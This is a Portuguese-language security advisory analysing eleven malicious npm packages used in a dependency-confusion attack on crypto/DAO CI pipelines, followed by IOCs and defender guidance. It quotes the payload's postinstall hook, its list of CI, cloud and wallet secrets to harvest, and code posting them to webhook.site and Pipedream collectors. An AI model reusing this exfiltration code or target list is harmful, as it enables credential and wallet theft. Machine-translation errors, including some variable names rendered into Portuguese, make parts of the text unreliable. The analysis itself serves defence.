Confusão com o CryptoDAO: Coleta de pacotes npm CI/CD e Segredos de Criptografia

Confusão com o CryptoDAO: onze pacotes npm, um único payload, coleta de dados. CI/CD e segredos de carteiras de criptomoedas

TL, DR

Em 17/06/2026, uma única conta npm publicou onze pacotes que compartilham um propósito e uma carga útil.Dez deles carregam o cryptodao- prefixo (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); o décimo primeiro é o escopo @public-for-cdao/coreTodos foram publicados na versão 99.99.99 e envia um byte idêntico recon.js que roda postinstall.

Os nomes são a pista. Parecem os blocos de construção internos da cadeia de ferramentas privada de um projeto de criptomoedas/DAO. Publicados no registro público do npm em uma versão artificialmente alta, ficam aguardando uma compilação. pipeline que está configurado para resolver esses nomes e que acessa o npm público antes — ou em vez de — o registro privado. Isto é confusão de dependênciaE a carga útil é ajustada exatamente para o local onde espera pousar: CI/CD corredores.

Ao postinstall incêndios, recon.js coleta detalhes do anfitrião, realiza varreduras aproximadas quarenta variáveis ​​de ambiente de nuvem, CI e carteira de criptomoedas, lê qualquer .env arquiva os dados que consegue encontrar e encaminha as linhas contendo o segredo na íntegra, depois transmite o pacote para dois coletores — webhook.site e um endpoint Pipedream — com a verificação de certificado TLS desativada. Uma cópia também foi escrita em /tmp.

Gravidade: AltoEcossistema afetado: npmTodos os onze pacotes estavam ativos no momento da redação deste texto.

Anatomia do ataque

O mecanismo possui quatro partes móveis, e nenhuma delas é sutil depois que você aprende a usá-las. Procure um nível além do nome da embalagem.

1. Inflação de versões como isca para resolver mecanismos de busca. Cada pacote declara a versão. 99.99.99A confusão de dependências ocorre quando um gerenciador de pacotes solicita um nome interno, também verifica o registro público e escolhe a versão mais recente. encontra. A seleção padrão do npm para um intervalo de caracteres curinga ou acento circunflexo é o versão mais satisfatória em todas as fontes configuradas; se ambas forem privadas Se houver uma resposta no registro e outra no npm pública para o mesmo nome, prevalece o número de versão maior. A 99.99.99 supera essencialmente qualquer versão interna real que um projeto possa ter. alcançado, portanto, um resolvedor que não está fixado na fonte privada prefere o cópia pública — e, neste caso, hostil. O operador não precisa saber o Números de versão reais do alvo; escolher um máximo absurdo garante sempre o empate abrem caminho.

2. Um gatilho pós-instalação. package.json conecta a carga útil à instalação vida útil:

{   "scripts": { "postinstall": "node recon.js" } }

Não é necessário importar o pacote. Basta instalá-lo — o que é feito por um CI (Integração Contínua). pipeline faz automaticamente — executa recon.js.

3. Uma ampla varredura secreta. recon.js monta uma matriz de resultados em etapas:

  • Contexto do host: nome do host, plataforma e versão, arquitetura, nome de usuário, horário de trabalho diretório.
  • Variáveis ​​de ambiente: itera sobre uma lista fixa de cerca de quarenta nomes e registros. Qualquer um que esteja definido. A lista é reveladora — ela combina tokens CI genéricos. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) e nuvem credenciais (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) com segredos de registro e contêiner (NPM_TOKEN, SENHA_DO_DOCKER, SENHA_DO_HARBOR) e um cluster com um sabor claramente criptográfico:  CHAVE_PRIVADA, MNEMÔNICO, FRASE_SEMENTE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCOs valores registrados são truncados para os primeiros 50 caracteres.
  • .env arquivos: ele examina uma lista de caminhos — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, e .Produção/.desenvolvimento variantes — e para qualquer arquivo que exista, ele filtra o conteúdo para linhas correspondentes CHAVE|SEGREDO|TOKEN|SENHA|PRIVADO|MNEMÔNICO e insere essas linhas **na íntegra, sem truncamento**, nos resultados.
  • Contexto do host de compilação: lista as primeiras 20 entradas de /construções/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ e / tmp /.

A lista de caminhos e a lista de variáveis ​​são ponderadas em favor dos executores do GitLab, o que aponta para... a carga útil diretamente na infraestrutura de CI auto-hospedada, em vez de um desenvolvedor laptop. Agrupar a lista de colheita por categoria torna a colheita pretendida mais clara:

Categoria Variáveis/caminhos alcançados
CI/CD identidade e implantação CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Na nuvem AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registro e contêiner NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Armazenamento de dados DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Criptomoedas / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Mensagens SLACK_TOKEN, DISCORD_TOKEN
Em disco .env família + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listas de diretórios de /builds/, /var/lib/gitlab-runner/

O cluster criptográfico é o que diferencia isso de um segredo CI genérico. varredura: frases-semente da carteira e chaves de assinatura só aparecem no ambiente de um projeto blockchain, e eles se mapeiam diretamente no criptodao-/sinal/contratos nomeação das transportadoras.

4. Exfiltração dupla com verificação desativada. O array coletado é Serializado e enviado via POST para dois destinos:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejeitarNãoAutorizado: falso Desativa a verificação de certificados TLS para conexões de saída. chamadas. Os mesmos dados são impressos na saída padrão (portanto, também são registrados nos logs de tarefas de CI) e escrito /tmp/.npm_recon_ .jsonOs erros são engolidos silenciosamente, então um Uma falha no envio não deixa rastros na saída da instalação além de uma única mensagem. [recon] instalado em linha.

Um comentário importante no arquivo descreve o problema como uma "Confusão de Dependências". Carga útil de reconhecimento.” O truncamento dos valores de ambiente para 50 caracteres tem a forma de uma prova de conceito. O que a diferencia de um mero sinalizador de presença é o .env Manuseio: as linhas que contêm informações confidenciais são encaminhadas na íntegra, e os destinos são informados. são dois coletores funcionais controlados pelo atacante, em vez de um coletor que apenas conta. exitos.

Timeline

O padrão de publicação é a assinatura de um único push programado, não de onze. Envios independentes.

Hora (UTC, 17/06/2026) Evento
03:24:58 cryptodao-bot@99.99.99 publicado
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variante com escopo definido, aproximadamente 24 minutos depois

Dez encomendas foram enviadas em um intervalo de 29 segundos, aproximadamente uma a cada três segundos. O escopo @public-for-cdao/core seguido cerca de 24 minutos depois — um segundo convenção de nomenclatura para o mesmo alvo, caso o projeto consumidor faça referência ao cadeia de ferramentas interna sob um escopo, em vez de apenas nomes genéricos.

Indicadores de compromisso

Formato Indicador
Colecionador hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Colecionador hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Instalar gancho postinstall: node recon.js
Arquivo descartado /tmp/.npm_recon_<timestamp>.json
Marcador de tronco [recon] <pkg>@<ver> installed on <hostname> (saída padrão nos logs de CI)
Comportamentais rejectUnauthorized: false no HTTPS de saída durante a instalação
carga paga recon.js, idêntico em todos os onze pacotes (uma compilação compartilhada)
Versão 99.99.99 em cada pacote
PACOTES cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (todos 99.99.99)
Publisher aduljune / aduljune@proton.me (e-mail não verificado, nenhum repositório de origem vinculado)

 Atribuição e comportamento observado

Tudo no cluster aponta para uma única conclusão. Todos os onze pacotes foram publicados. pela conta npm aduljune (aduljune@proton.me, um endereço não verificado sem repositório de código-fonte vinculado), dentro de um intervalo de 25 minutos, ao mesmo tempo 99.99.99 versão, envio de um recon.js cujo conteúdo é idêntico byte a byte em todos os casos. pacote (MD5 corresponde em todas as onze cópias extraídas). Isso é uma carga útil. Carimbado em uma lista de nomes, não é reutilização independente de código.

A lista de nomes define o público-alvo pretendido. criptodao-* e cdao descreva o Layout do módulo privado de um projeto cripto/DAO e a lista de coleta do payload. reflete essa suposição: além dos segredos genéricos de CI e nuvem, especificamente alcança CHAVE_PRIVADA, MNEMÔNICO, FRASE_SEMENTEe Ethereum/BSC RPC e Chaves do provedor. O .env Os caminhos de pesquisa e as listagens de diretórios são do GitLab-runner. específico. O efeito observável é que qualquer pipeline enganados para instalar estes Os nomes encaminhariam seus tokens CI, chaves na nuvem e dados em disco. .env segredos — e, para um projeto blockchain, seu material de carteira — para dois coletores terceirizados.

Não fazemos nenhuma afirmação sobre quem opera a conta ou o que planejavam fazer com ela. dados. Os fatos que falam por si: os nomes se referem a um tipo específico de Na cadeia de ferramentas interna, a carga útil lê e transmite valores secretos reais, e o A infraestrutura estava ativa.

Impacto, tendências e orientações para defensores

Confusão de dependência continua eficaz porque explora o comportamento do resolvedor, não um vulnerabilidade em qualquer pacote. A transportadora aqui é trivial — onze quase vazios pacotes — mas o raio da explosão é qualquer coisa pipeline prefere erroneamente o npm público. para um nome interno. Os executores do CI são o pior lugar para isso acontecer: eles retêm exatamente os tokens e .env arquivos que este payload lê e instala dependências não interativas, então um pós-instalação Corre sem que ninguém esteja olhando.

Este cluster também se encaixa em um padrão que continuamos a observar: payloads de instalação que apresentam como “pesquisa” ou “reconhecimento”, enquanto se realiza a coleta real de credenciais. O rótulo O código no arquivo não altera o que ele faz no executor. Duas escolhas de design mantêm a atividade silenciosa: cada operação de rede e sistema de arquivos é encapsulada em um Manipulador de exceções que descarta erros, como um envio bloqueado ou um arquivo ausente. Não produz nenhum resultado de diagnóstico e a única coisa impressa é uma única mensagem inócua. [recon] … instalado linha que se mistura com a conversa normal da instalação. O uso de webhook.site E o Pipedream também é uma solução prática e deliberada — ambos são gratuitos. Serviços de captura de solicitações provisionados instantaneamente, portanto o operador não precisa de servidores de Os registros de saída mostram que os nomes de host próprios e os destinos se parecem com nomes de host SaaS comuns.

São os aspectos econômicos que tornam isso digno da atenção de um defensor, mesmo que... O código da operadora é trivial. Registrar onze nomes não custa nada, a carga útil é uma. O arquivo foi copiado onze vezes e o gerenciador de pacotes realiza toda a execução. Um único mal configurado pipeline Qualquer lugar que consuma um desses nomes paga pelo valor total. operação.

Medidas concretas para os defensores:

  • Fixe os escopos internos ao seu registro privado. Configure o npm para que os nomes internos sejam definidos.
     e os escopos são resolvidos apenas em relação ao seu registro (mapeamentos de registro .npmrc com escopo,
    ou um proxy que nunca repasse para o npm público para namespaces próprios). Reserve seus nomes de escopo público para que ninguém mais possa registrá-los.
  • Commit bloquear arquivos e instalar com –ignore-scripts em CI sempre que possível, ou Analise o pequeno conjunto de dependências que realmente precisam de scripts de instalação.  O recon.js não pode ser executado se pós-instalação não é executado.
  • Trate uma versão de 99.99.99 (ou outro valor absurdamente alto) de um nome com aparência interna. como um sinal de alerta na revisão de dependências e no monitoramento de registros.
  • Alerta sobre saída durante a instalação. A pós-instalação que abre um HTTPS de saída conexão — especialmente com a verificação de certificado desativada — para Serviços como webhook.site, Pipedream ou similares de captura de requisições devem ser bloqueados na borda da rede e sinalizados nos logs de compilação.
  • Procure os artefatos. Verifique os corredores para /tmp/.npm_recon_*.json e para o [recon] … instalado em … marcador em logs recentes de CI. Se encontrado, rotacione a cada credencial exposta a isso pipeline — Tokens CI, chaves de nuvem, tokens de registro e quaisquer seeds de carteira ou chaves privadas presentes no ambiente ou nos arquivos .env.

Referências

Não havia relatos externos sobre esse agrupamento no momento da redação deste documento; a análise O texto acima baseia-se diretamente no conteúdo da embalagem publicada.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni